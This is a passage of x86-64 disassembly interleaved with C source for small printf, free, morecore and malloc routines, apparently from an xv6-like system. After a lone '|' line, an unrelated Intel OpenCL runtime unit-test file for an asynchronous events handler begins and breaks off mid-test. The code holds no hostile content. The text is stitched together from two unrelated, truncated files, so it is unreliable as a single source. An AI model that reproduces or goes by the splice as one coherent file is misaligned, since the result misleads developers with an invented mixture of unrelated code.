17ff: 83 c2 08 add $0x8,%edx
1802: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1808: eb 12 jmp 181c <printf+0x1a0>
180a: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
1811: 48 8d 50 08 lea 0x8(%rax),%rdx
1815: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
181c: 8b 00 mov (%rax),%eax
181e: 0f be d0 movsbl %al,%edx
1821: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1827: 89 d6 mov %edx,%esi
1829: 89 c7 mov %eax,%edi
182b: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
1832: 00 00 00
1835: ff d0 callq *%rax
break;
1837: e9 12 02 00 00 jmpq 1a4e <printf+0x3d2>
case 'd':
print_d(fd, va_arg(ap, int));
183c: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
1842: 83 f8 2f cmp $0x2f,%eax
1845: 77 23 ja 186a <printf+0x1ee>
1847: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
184e: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1854: 89 d2 mov %edx,%edx
1856: 48 01 d0 add %rdx,%rax
1859: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
185f: 83 c2 08 add $0x8,%edx
1862: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1868: eb 12 jmp 187c <printf+0x200>
186a: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
1871: 48 8d 50 08 lea 0x8(%rax),%rdx
1875: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
187c: 8b 10 mov (%rax),%edx
187e: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1884: 89 d6 mov %edx,%esi
1886: 89 c7 mov %eax,%edi
1888: 48 b8 84 15 00 00 00 movabs $0x1584,%rax
188f: 00 00 00
1892: ff d0 callq *%rax
break;
1894: e9 b5 01 00 00 jmpq 1a4e <printf+0x3d2>
case 'x':
print_x32(fd, va_arg(ap, uint));
1899: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
189f: 83 f8 2f cmp $0x2f,%eax
18a2: 77 23 ja 18c7 <printf+0x24b>
18a4: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
18ab: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
18b1: 89 d2 mov %edx,%edx
18b3: 48 01 d0 add %rdx,%rax
18b6: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
18bc: 83 c2 08 add $0x8,%edx
18bf: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
18c5: eb 12 jmp 18d9 <printf+0x25d>
18c7: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
18ce: 48 8d 50 08 lea 0x8(%rax),%rdx
18d2: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
18d9: 8b 10 mov (%rax),%edx
18db: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
18e1: 89 d6 mov %edx,%esi
18e3: 89 c7 mov %eax,%edi
18e5: 48 b8 27 15 00 00 00 movabs $0x1527,%rax
18ec: 00 00 00
18ef: ff d0 callq *%rax
break;
18f1: e9 58 01 00 00 jmpq 1a4e <printf+0x3d2>
case 'p':
print_x64(fd, va_arg(ap, addr_t));
18f6: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
18fc: 83 f8 2f cmp $0x2f,%eax
18ff: 77 23 ja 1924 <printf+0x2a8>
1901: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
1908: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
190e: 89 d2 mov %edx,%edx
1910: 48 01 d0 add %rdx,%rax
1913: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1919: 83 c2 08 add $0x8,%edx
191c: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1922: eb 12 jmp 1936 <printf+0x2ba>
1924: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
192b: 48 8d 50 08 lea 0x8(%rax),%rdx
192f: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1936: 48 8b 10 mov (%rax),%rdx
1939: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
193f: 48 89 d6 mov %rdx,%rsi
1942: 89 c7 mov %eax,%edi
1944: 48 b8 ca 14 00 00 00 movabs $0x14ca,%rax
194b: 00 00 00
194e: ff d0 callq *%rax
break;
1950: e9 f9 00 00 00 jmpq 1a4e <printf+0x3d2>
case 's':
if ((s = va_arg(ap, char*)) == 0)
1955: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax
195b: 83 f8 2f cmp $0x2f,%eax
195e: 77 23 ja 1983 <printf+0x307>
1960: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax
1967: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
196d: 89 d2 mov %edx,%edx
196f: 48 01 d0 add %rdx,%rax
1972: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx
1978: 83 c2 08 add $0x8,%edx
197b: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp)
1981: eb 12 jmp 1995 <printf+0x319>
1983: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax
198a: 48 8d 50 08 lea 0x8(%rax),%rdx
198e: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp)
1995: 48 8b 00 mov (%rax),%rax
1998: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
199f: 48 83 bd 40 ff ff ff cmpq $0x0,-0xc0(%rbp)
19a6: 00
19a7: 75 41 jne 19ea <printf+0x36e>
s = "(null)";
19a9: 48 b8 90 1d 00 00 00 movabs $0x1d90,%rax
19b0: 00 00 00
19b3: 48 89 85 40 ff ff ff mov %rax,-0xc0(%rbp)
while (*s)
19ba: eb 2e jmp 19ea <printf+0x36e>
putc(fd, *(s++));
19bc: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
19c3: 48 8d 50 01 lea 0x1(%rax),%rdx
19c7: 48 89 95 40 ff ff ff mov %rdx,-0xc0(%rbp)
19ce: 0f b6 00 movzbl (%rax),%eax
19d1: 0f be d0 movsbl %al,%edx
19d4: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
19da: 89 d6 mov %edx,%esi
19dc: 89 c7 mov %eax,%edi
19de: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
19e5: 00 00 00
19e8: ff d0 callq *%rax
while (*s)
19ea: 48 8b 85 40 ff ff ff mov -0xc0(%rbp),%rax
19f1: 0f b6 00 movzbl (%rax),%eax
19f4: 84 c0 test %al,%al
19f6: 75 c4 jne 19bc <printf+0x340>
break;
19f8: eb 54 jmp 1a4e <printf+0x3d2>
case '%':
putc(fd, '%');
19fa: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a00: be 25 00 00 00 mov $0x25,%esi
1a05: 89 c7 mov %eax,%edi
1a07: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
1a0e: 00 00 00
1a11: ff d0 callq *%rax
break;
1a13: eb 39 jmp 1a4e <printf+0x3d2>
default:
// Print unknown % sequence to draw attention.
putc(fd, '%');
1a15: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a1b: be 25 00 00 00 mov $0x25,%esi
1a20: 89 c7 mov %eax,%edi
1a22: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
1a29: 00 00 00
1a2c: ff d0 callq *%rax
putc(fd, c);
1a2e: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax
1a34: 0f be d0 movsbl %al,%edx
1a37: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax
1a3d: 89 d6 mov %edx,%esi
1a3f: 89 c7 mov %eax,%edi
1a41: 48 b8 96 14 00 00 00 movabs $0x1496,%rax
1a48: 00 00 00
1a4b: ff d0 callq *%rax
break;
1a4d: 90 nop
for (i = 0; (c = fmt[i] & 0xff) != 0; i++) {
1a4e: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp)
1a55: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax
1a5b: 48 63 d0 movslq %eax,%rdx
1a5e: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax
1a65: 48 01 d0 add %rdx,%rax
1a68: 0f b6 00 movzbl (%rax),%eax
1a6b: 0f be c0 movsbl %al,%eax
1a6e: 25 ff 00 00 00 and $0xff,%eax
1a73: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp)
1a79: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp)
1a80: 0f 85 8e fc ff ff jne 1714 <printf+0x98>
}
}
}
1a86: eb 01 jmp 1a89 <printf+0x40d>
break;
1a88: 90 nop
}
1a89: 90 nop
1a8a: c9 leaveq
1a8b: c3 retq
0000000000001a8c <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1a8c: f3 0f 1e fa endbr64
1a90: 55 push %rbp
1a91: 48 89 e5 mov %rsp,%rbp
1a94: 48 83 ec 18 sub $0x18,%rsp
1a98: 48 89 7d e8 mov %rdi,-0x18(%rbp)
Header *bp, *p;
bp = (Header*)ap - 1;
1a9c: 48 8b 45 e8 mov -0x18(%rbp),%rax
1aa0: 48 83 e8 10 sub $0x10,%rax
1aa4: 48 89 45 f0 mov %rax,-0x10(%rbp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1aa8: 48 b8 f0 20 00 00 00 movabs $0x20f0,%rax
1aaf: 00 00 00
1ab2: 48 8b 00 mov (%rax),%rax
1ab5: 48 89 45 f8 mov %rax,-0x8(%rbp)
1ab9: eb 2f jmp 1aea <free+0x5e>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1abb: 48 8b 45 f8 mov -0x8(%rbp),%rax
1abf: 48 8b 00 mov (%rax),%rax
1ac2: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1ac6: 72 17 jb 1adf <free+0x53>
1ac8: 48 8b 45 f0 mov -0x10(%rbp),%rax
1acc: 48 3b 45 f8 cmp -0x8(%rbp),%rax
1ad0: 77 2f ja 1b01 <free+0x75>
1ad2: 48 8b 45 f8 mov -0x8(%rbp),%rax
1ad6: 48 8b 00 mov (%rax),%rax
1ad9: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1add: 72 22 jb 1b01 <free+0x75>
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1adf: 48 8b 45 f8 mov -0x8(%rbp),%rax
1ae3: 48 8b 00 mov (%rax),%rax
1ae6: 48 89 45 f8 mov %rax,-0x8(%rbp)
1aea: 48 8b 45 f0 mov -0x10(%rbp),%rax
1aee: 48 3b 45 f8 cmp -0x8(%rbp),%rax
1af2: 76 c7 jbe 1abb <free+0x2f>
1af4: 48 8b 45 f8 mov -0x8(%rbp),%rax
1af8: 48 8b 00 mov (%rax),%rax
1afb: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1aff: 73 ba jae 1abb <free+0x2f>
break;
if(bp + bp->s.size == p->s.ptr){
1b01: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b05: 8b 40 08 mov 0x8(%rax),%eax
1b08: 89 c0 mov %eax,%eax
1b0a: 48 c1 e0 04 shl $0x4,%rax
1b0e: 48 89 c2 mov %rax,%rdx
1b11: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b15: 48 01 c2 add %rax,%rdx
1b18: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b1c: 48 8b 00 mov (%rax),%rax
1b1f: 48 39 c2 cmp %rax,%rdx
1b22: 75 2d jne 1b51 <free+0xc5>
bp->s.size += p->s.ptr->s.size;
1b24: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b28: 8b 50 08 mov 0x8(%rax),%edx
1b2b: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b2f: 48 8b 00 mov (%rax),%rax
1b32: 8b 40 08 mov 0x8(%rax),%eax
1b35: 01 c2 add %eax,%edx
1b37: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b3b: 89 50 08 mov %edx,0x8(%rax)
bp->s.ptr = p->s.ptr->s.ptr;
1b3e: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b42: 48 8b 00 mov (%rax),%rax
1b45: 48 8b 10 mov (%rax),%rdx
1b48: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b4c: 48 89 10 mov %rdx,(%rax)
1b4f: eb 0e jmp 1b5f <free+0xd3>
} else
bp->s.ptr = p->s.ptr;
1b51: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b55: 48 8b 10 mov (%rax),%rdx
1b58: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b5c: 48 89 10 mov %rdx,(%rax)
if(p + p->s.size == bp){
1b5f: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b63: 8b 40 08 mov 0x8(%rax),%eax
1b66: 89 c0 mov %eax,%eax
1b68: 48 c1 e0 04 shl $0x4,%rax
1b6c: 48 89 c2 mov %rax,%rdx
1b6f: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b73: 48 01 d0 add %rdx,%rax
1b76: 48 39 45 f0 cmp %rax,-0x10(%rbp)
1b7a: 75 27 jne 1ba3 <free+0x117>
p->s.size += bp->s.size;
1b7c: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b80: 8b 50 08 mov 0x8(%rax),%edx
1b83: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b87: 8b 40 08 mov 0x8(%rax),%eax
1b8a: 01 c2 add %eax,%edx
1b8c: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b90: 89 50 08 mov %edx,0x8(%rax)
p->s.ptr = bp->s.ptr;
1b93: 48 8b 45 f0 mov -0x10(%rbp),%rax
1b97: 48 8b 10 mov (%rax),%rdx
1b9a: 48 8b 45 f8 mov -0x8(%rbp),%rax
1b9e: 48 89 10 mov %rdx,(%rax)
1ba1: eb 0b jmp 1bae <free+0x122>
} else
p->s.ptr = bp;
1ba3: 48 8b 45 f8 mov -0x8(%rbp),%rax
1ba7: 48 8b 55 f0 mov -0x10(%rbp),%rdx
1bab: 48 89 10 mov %rdx,(%rax)
freep = p;
1bae: 48 ba f0 20 00 00 00 movabs $0x20f0,%rdx
1bb5: 00 00 00
1bb8: 48 8b 45 f8 mov -0x8(%rbp),%rax
1bbc: 48 89 02 mov %rax,(%rdx)
}
1bbf: 90 nop
1bc0: c9 leaveq
1bc1: c3 retq
0000000000001bc2 <morecore>:
static Header*
morecore(uint nu)
{
1bc2: f3 0f 1e fa endbr64
1bc6: 55 push %rbp
1bc7: 48 89 e5 mov %rsp,%rbp
1bca: 48 83 ec 20 sub $0x20,%rsp
1bce: 89 7d ec mov %edi,-0x14(%rbp)
char *p;
Header *hp;
if(nu < 4096)
1bd1: 81 7d ec ff 0f 00 00 cmpl $0xfff,-0x14(%rbp)
1bd8: 77 07 ja 1be1 <morecore+0x1f>
nu = 4096;
1bda: c7 45 ec 00 10 00 00 movl $0x1000,-0x14(%rbp)
p = sbrk(nu * sizeof(Header));
1be1: 8b 45 ec mov -0x14(%rbp),%eax
1be4: 48 c1 e0 04 shl $0x4,%rax
1be8: 48 89 c7 mov %rax,%rdi
1beb: 48 b8 55 14 00 00 00 movabs $0x1455,%rax
1bf2: 00 00 00
1bf5: ff d0 callq *%rax
1bf7: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p == (char*)-1)
1bfb: 48 83 7d f8 ff cmpq $0xffffffffffffffff,-0x8(%rbp)
1c00: 75 07 jne 1c09 <morecore+0x47>
return 0;
1c02: b8 00 00 00 00 mov $0x0,%eax
1c07: eb 36 jmp 1c3f <morecore+0x7d>
hp = (Header*)p;
1c09: 48 8b 45 f8 mov -0x8(%rbp),%rax
1c0d: 48 89 45 f0 mov %rax,-0x10(%rbp)
hp->s.size = nu;
1c11: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c15: 8b 55 ec mov -0x14(%rbp),%edx
1c18: 89 50 08 mov %edx,0x8(%rax)
free((void*)(hp + 1));
1c1b: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c1f: 48 83 c0 10 add $0x10,%rax
1c23: 48 89 c7 mov %rax,%rdi
1c26: 48 b8 8c 1a 00 00 00 movabs $0x1a8c,%rax
1c2d: 00 00 00
1c30: ff d0 callq *%rax
return freep;
1c32: 48 b8 f0 20 00 00 00 movabs $0x20f0,%rax
1c39: 00 00 00
1c3c: 48 8b 00 mov (%rax),%rax
}
1c3f: c9 leaveq
1c40: c3 retq
0000000000001c41 <malloc>:
void*
malloc(uint nbytes)
{
1c41: f3 0f 1e fa endbr64
1c45: 55 push %rbp
1c46: 48 89 e5 mov %rsp,%rbp
1c49: 48 83 ec 30 sub $0x30,%rsp
1c4d: 89 7d dc mov %edi,-0x24(%rbp)
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1c50: 8b 45 dc mov -0x24(%rbp),%eax
1c53: 48 83 c0 0f add $0xf,%rax
1c57: 48 c1 e8 04 shr $0x4,%rax
1c5b: 83 c0 01 add $0x1,%eax
1c5e: 89 45 ec mov %eax,-0x14(%rbp)
if((prevp = freep) == 0){
1c61: 48 b8 f0 20 00 00 00 movabs $0x20f0,%rax
1c68: 00 00 00
1c6b: 48 8b 00 mov (%rax),%rax
1c6e: 48 89 45 f0 mov %rax,-0x10(%rbp)
1c72: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
1c77: 75 4a jne 1cc3 <malloc+0x82>
base.s.ptr = freep = prevp = &base;
1c79: 48 b8 e0 20 00 00 00 movabs $0x20e0,%rax
1c80: 00 00 00
1c83: 48 89 45 f0 mov %rax,-0x10(%rbp)
1c87: 48 ba f0 20 00 00 00 movabs $0x20f0,%rdx
1c8e: 00 00 00
1c91: 48 8b 45 f0 mov -0x10(%rbp),%rax
1c95: 48 89 02 mov %rax,(%rdx)
1c98: 48 b8 f0 20 00 00 00 movabs $0x20f0,%rax
1c9f: 00 00 00
1ca2: 48 8b 00 mov (%rax),%rax
1ca5: 48 ba e0 20 00 00 00 movabs $0x20e0,%rdx
1cac: 00 00 00
1caf: 48 89 02 mov %rax,(%rdx)
base.s.size = 0;
1cb2: 48 b8 e0 20 00 00 00 movabs $0x20e0,%rax
1cb9: 00 00 00
1cbc: c7 40 08 00 00 00 00 movl $0x0,0x8(%rax)
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1cc3: 48 8b 45 f0 mov -0x10(%rbp),%rax
1cc7: 48 8b 00 mov (%rax),%rax
1cca: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p->s.size >= nunits){
1cce: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cd2: 8b 40 08 mov 0x8(%rax),%eax
1cd5: 39 45 ec cmp %eax,-0x14(%rbp)
1cd8: 77 65 ja 1d3f <malloc+0xfe>
if(p->s.size == nunits)
1cda: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cde: 8b 40 08 mov 0x8(%rax),%eax
1ce1: 39 45 ec cmp %eax,-0x14(%rbp)
1ce4: 75 10 jne 1cf6 <malloc+0xb5>
prevp->s.ptr = p->s.ptr;
1ce6: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cea: 48 8b 10 mov (%rax),%rdx
1ced: 48 8b 45 f0 mov -0x10(%rbp),%rax
1cf1: 48 89 10 mov %rdx,(%rax)
1cf4: eb 2e jmp 1d24 <malloc+0xe3>
else {
p->s.size -= nunits;
1cf6: 48 8b 45 f8 mov -0x8(%rbp),%rax
1cfa: 8b 40 08 mov 0x8(%rax),%eax
1cfd: 2b 45 ec sub -0x14(%rbp),%eax
1d00: 89 c2 mov %eax,%edx
1d02: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d06: 89 50 08 mov %edx,0x8(%rax)
p += p->s.size;
1d09: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d0d: 8b 40 08 mov 0x8(%rax),%eax
1d10: 89 c0 mov %eax,%eax
1d12: 48 c1 e0 04 shl $0x4,%rax
1d16: 48 01 45 f8 add %rax,-0x8(%rbp)
p->s.size = nunits;
1d1a: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d1e: 8b 55 ec mov -0x14(%rbp),%edx
1d21: 89 50 08 mov %edx,0x8(%rax)
}
freep = prevp;
1d24: 48 ba f0 20 00 00 00 movabs $0x20f0,%rdx
1d2b: 00 00 00
1d2e: 48 8b 45 f0 mov -0x10(%rbp),%rax
1d32: 48 89 02 mov %rax,(%rdx)
return (void*)(p + 1);
1d35: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d39: 48 83 c0 10 add $0x10,%rax
1d3d: eb 4e jmp 1d8d <malloc+0x14c>
}
if(p == freep)
1d3f: 48 b8 f0 20 00 00 00 movabs $0x20f0,%rax
1d46: 00 00 00
1d49: 48 8b 00 mov (%rax),%rax
1d4c: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1d50: 75 23 jne 1d75 <malloc+0x134>
if((p = morecore(nunits)) == 0)
1d52: 8b 45 ec mov -0x14(%rbp),%eax
1d55: 89 c7 mov %eax,%edi
1d57: 48 b8 c2 1b 00 00 00 movabs $0x1bc2,%rax
1d5e: 00 00 00
1d61: ff d0 callq *%rax
1d63: 48 89 45 f8 mov %rax,-0x8(%rbp)
1d67: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
1d6c: 75 07 jne 1d75 <malloc+0x134>
return 0;
1d6e: b8 00 00 00 00 mov $0x0,%eax
1d73: eb 18 jmp 1d8d <malloc+0x14c>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1d75: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d79: 48 89 45 f0 mov %rax,-0x10(%rbp)
1d7d: 48 8b 45 f8 mov -0x8(%rbp),%rax
1d81: 48 8b 00 mov (%rax),%rax
1d84: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(p->s.size >= nunits){
1d88: e9 41 ff ff ff jmpq 1cce <malloc+0x8d>
}
}
1d8d: c9 leaveq
1d8e: c3 retq
|
/*
* Copyright (C) 2018-2021 Intel Corporation
*
* SPDX-License-Identifier: MIT
*
*/
#include "shared/source/helpers/timestamp_packet.h"
#include "shared/test/common/helpers/debug_manager_state_restore.h"
#include "shared/test/unit_test/utilities/base_object_utils.h"
#include "opencl/source/event/async_events_handler.h"
#include "opencl/source/event/event.h"
#include "opencl/source/event/user_event.h"
#include "opencl/test/unit_test/mocks/mock_async_event_handler.h"
#include "opencl/test/unit_test/mocks/mock_command_queue.h"
#include "opencl/test/unit_test/mocks/mock_context.h"
#include "test.h"
#include "gmock/gmock.h"
using namespace NEO;
using namespace ::testing;
class AsyncEventsHandlerTests : public ::testing::Test {
public:
class MyEvent : public Event {
public:
MyEvent(Context *ctx, CommandQueue *cmdQueue, cl_command_type cmdType, uint32_t taskLevel, uint32_t taskCount)
: Event(ctx, cmdQueue, cmdType, taskLevel, taskCount) {}
int getExecutionStatus() {
//return execution status without updating
return executionStatus.load();
}
void setTaskStamp(uint32_t taskLevel, uint32_t taskCount) {
this->taskLevel.store(taskLevel);
this->updateTaskCount(taskCount, 0);
}
MOCK_METHOD2(wait, bool(bool blocking, bool quickKmdSleep));
};
static void CL_CALLBACK callbackFcn(cl_event e, cl_int status, void *data) {
++(*(int *)data);
}
void SetUp() override {
dbgRestore.reset(new DebugManagerStateRestore());
DebugManager.flags.EnableAsyncEventsHandler.set(false);
handler.reset(new MockHandler());
context = make_releaseable<NiceMock<MockContext>>();
commandQueue = make_releaseable<MockCommandQueue>(context.get(), context->getDevice(0), nullptr);
*(commandQueue->getGpgpuCommandStreamReceiver().getTagAddress()) = 0;
event1 = make_releaseable<NiceMock<MyEvent>>(context.get(), commandQueue.get(), CL_COMMAND_BARRIER, CompletionStamp::notReady, CompletionStamp::notReady);
event2 = make_releaseable<NiceMock<MyEvent>>(context.get(), commandQueue.get(), CL_COMMAND_BARRIER, CompletionStamp::notReady, CompletionStamp::notReady);
event3 = make_releaseable<NiceMock<MyEvent>>(context.get(), commandQueue.get(), CL_COMMAND_BARRIER, CompletionStamp::notReady, CompletionStamp::notReady);
}
std::unique_ptr<DebugManagerStateRestore> dbgRestore;
std::unique_ptr<MockHandler> handler;
int counter = 0;
ReleaseableObjectPtr<NiceMock<MockContext>> context;
ReleaseableObjectPtr<MockCommandQueue> commandQueue;
ReleaseableObjectPtr<NiceMock<MyEvent>> event1;
ReleaseableObjectPtr<NiceMock<MyEvent>> event2;
ReleaseableObjectPtr<NiceMock<MyEvent>> event3;
};
TEST_F(AsyncEventsHandlerTests, givenEventsWhenListIsProcessedThenUpdateExecutionStatus) {
event1->setTaskStamp(0, 0);
event2->setTaskStamp(0, 0);
handler->registerEvent(event1.get());
handler->registerEvent(event2.get());
EXPECT_EQ(CL_QUEUED, event1->getExecutionStatus());
EXPECT_EQ(CL_QUEUED, event2->getExecutionStatus());
handler->process();
EXPECT_NE(CL_QUEUED, event1->getExecutionStatus());
EXPECT_NE(CL_QUEUED, event2->getExecutionStatus());
EXPECT_TRUE(handler->peekIsListEmpty()); // auto-unregister when no callbacs
}
TEST_F(AsyncEventsHandlerTests, WhenProcessIsCompletedThenRefInternalCountIsDecremented) {
event1->setTaskStamp(CompletionStamp::notReady, 0);
handler->registerEvent(event1.get());
EXPECT_EQ(2, event1->getRefInternalCount());
handler->process();
EXPECT_TRUE(handler->peekIsListEmpty());
EXPECT_EQ(1, event1->getRefInternalCount());
}
TEST_F(AsyncEventsHandlerTests, givenNotCalledCallbacksWhenListIsProcessedThenDontUnregister) {
int submittedCounter(0), completeCounter(0);
event1->setTaskStamp(CompletionStamp::notReady, 0);
event1->addCallback(&this->callbackFcn, CL_SUBMITTED, &submittedCounter);
event1->addCallback(&this->callbackFcn, CL_COMPLETE, &completeCounter);
handler->registerEvent(event1.get());
auto expect = [&](int status, int sCounter, int cCounter, bool empty) {
EXPECT_EQ(status, event1->getExecutionStatus());
EXPECT_EQ(sCounter, submittedCounter);
EXPECT_EQ(cCounter, completeCounter);
EXPECT_EQ(empty, handler->peekIsListEmpty());
};
handler->process();
expect(CL_QUEUED, 0, 0, false);
event1->setStatus(CL_SUBMITTED);
handler->process();
expect(CL_SUBMITTED, 1, 0, false);
event1->setStatus(CL_COMPLETE);
handler->process();
expect(CL_COMPLETE, 1, 1, true);
}
TEST_F(AsyncEventsHandlerTests, givenExternallSynchronizedEventWhenListIsProcessedAndEventIsNotInCompleteStateThenDontUnregister) {
struct ExternallySynchronizedEvent : Event {
ExternallySynchronizedEvent(int numUpdatesBeforeCompletion)
: Event(nullptr, 0, 0, 0), numUpdatesBeforeCompletion(numUpdatesBeforeCompletion) {
}
void updateExecutionStatus() override {
++updateCount;
if (updateCount == numUpdatesBeforeCompletion) {
transitionExecutionStatus(CL_COMPLETE);
}
}
bool isExternallySynchronized() const override {
return true;
}
int updateCount = 0;
int numUpdatesBeforeCompletion = 1;
};
constexpr int numUpdatesBeforeCompletion = 5;
auto *event = new ExternallySynchronizedEvent(numUpdatesBeforeCompletion);
handler->registerEvent(event);
for (int i = 0; i < numUpdatesBeforeCompletion * 2; ++i) {
handler->process();
}
EXPECT_EQ(CL_COMPLETE, event->peekExecutionStatus());
EXPECT_EQ(numUpdatesBeforeCompletion, event->updateCount);
event->release();
}
TEST_F(AsyncEventsHandlerTests, givenDoubleRegisteredEventWhenListIsProcessedAndNoCallbacksToProcessThenUnregister) {
event1->setTaskStamp(CompletionStamp::notReady - 1, CompletionStamp::notReady + 1);
event1->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
handler->registerEvent(event1.get());
handler->registerEvent(event1.get());
handler->process();
EXPECT_EQ(CL_SUBMITTED, event1->getExecutionStatus());
EXPECT_EQ(1, counter);
EXPECT_TRUE(handler->peekIsListEmpty());
}
TEST_F(AsyncEventsHandlerTests, givenEventsNotHandledByHandlderWhenDestructingThenUnreferenceAll) {
auto myHandler = new MockHandler();
event1->setTaskStamp(CompletionStamp::notReady, 0);
event2->setTaskStamp(CompletionStamp::notReady, 0);
event1->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
event2->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
myHandler->registerEvent(event1.get());
myHandler->process();
myHandler->registerEvent(event2.get());
EXPECT_FALSE(myHandler->peekIsListEmpty());
EXPECT_FALSE(myHandler->peekIsRegisterListEmpty());
EXPECT_EQ(3, event1->getRefInternalCount());
EXPECT_EQ(3, event2->getRefInternalCount());
delete myHandler;
// 1 left because of callbacks
EXPECT_EQ(2, event1->getRefInternalCount());
EXPECT_EQ(2, event2->getRefInternalCount());
// release callbacks
event1->setStatus(CL_SUBMITTED);
event2->setStatus(CL_SUBMITTED);
}
TEST_F(AsyncEventsHandlerTests, givenEventsNotHandledByHandlderWhenAsyncExecutionInterruptedThenUnreferenceAll) {
event1->setTaskStamp(CompletionStamp::notReady, 0);
event2->setTaskStamp(CompletionStamp::notReady, 0);
event1->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
event2->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
handler->registerEvent(event1.get());
handler->process();
handler->registerEvent(event2.get());
EXPECT_FALSE(handler->peekIsListEmpty());
EXPECT_FALSE(handler->peekIsRegisterListEmpty());
EXPECT_EQ(3, event1->getRefInternalCount());
EXPECT_EQ(3, event2->getRefInternalCount());
handler->allowAsyncProcess.store(false);
MockHandler::asyncProcess(handler.get()); // enter and exit because of allowAsyncProcess == false
EXPECT_EQ(2, event1->getRefInternalCount());
EXPECT_EQ(2, event2->getRefInternalCount());
EXPECT_TRUE(handler->peekIsListEmpty());
EXPECT_TRUE(handler->peekIsRegisterListEmpty());
event1->setStatus(CL_SUBMITTED);
